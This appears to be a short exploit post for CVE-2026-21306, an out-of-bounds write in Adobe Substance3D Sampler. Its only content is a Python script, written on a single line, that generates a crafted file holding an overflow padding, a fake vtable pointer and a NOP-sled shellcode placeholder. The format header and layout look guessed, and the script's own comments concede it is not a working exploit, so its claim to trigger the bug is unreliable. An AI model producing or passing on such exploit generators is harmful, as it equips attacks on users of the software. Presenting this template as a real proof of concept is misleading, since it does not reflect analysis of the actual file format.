CVE-2026-21306 Adobe Substance3D Sampler越界写入漏洞

# CVE-2026-21306 PoC - Malicious file generator for Adobe Substance3D Sampler # This PoC demonstrates the structure needed to trigger the out-of-bounds write # Note: Actual exploit requires specific file format manipulation import struct import os def create_malicious_sampler_file(output_path): """ Generate a malicious file that could trigger CVE-2026-21306 in Adobe Substance3D Sampler <= 5.1.0 This is a proof-of-concept structure, actual exploitation requires specific binary manipulation based on file format analysis. """ # File header - typical image/3D file format header = b'S3DP' # Substance3D Sampler proprietary header # Version field - target version 5.1.0 or earlier version = b'\x05\x01\x00' # Crafted payload that triggers buffer overflow # The exact bytes depend on format analysis and ASLR bypass overflow_marker = b'A' * 0x1000 # Large payload to overflow buffer # Pointers that will be overwritten (example structure) fake_vtable = struct.pack('<Q', 0x4141414141414141) # Controlled pointer # Shellcode placeholder (will be executed if exploit succeeds) shellcode = b'\x90' * 64 # NOP sled shellcode += b'\xcc' * 16 # Breakpoint (for testing) # Metadata section metadata = b'CVE-2026-21306' # Combine all parts malicious_data = header + version + overflow_marker + fake_vtable + shellcode + metadata # Write the malicious file with open(output_path, 'wb') as f: f.write(malicious_data) print(f"[+] Malicious file created: {output_path}") print(f"[+] File size: {len(malicious_data)} bytes") print("[*] Note: Actual exploitation requires format-specific analysis") if __name__ == '__main__': output_file = 'CVE-2026-21306 malicious.sampler' create_malicious_sampler_file(output_file)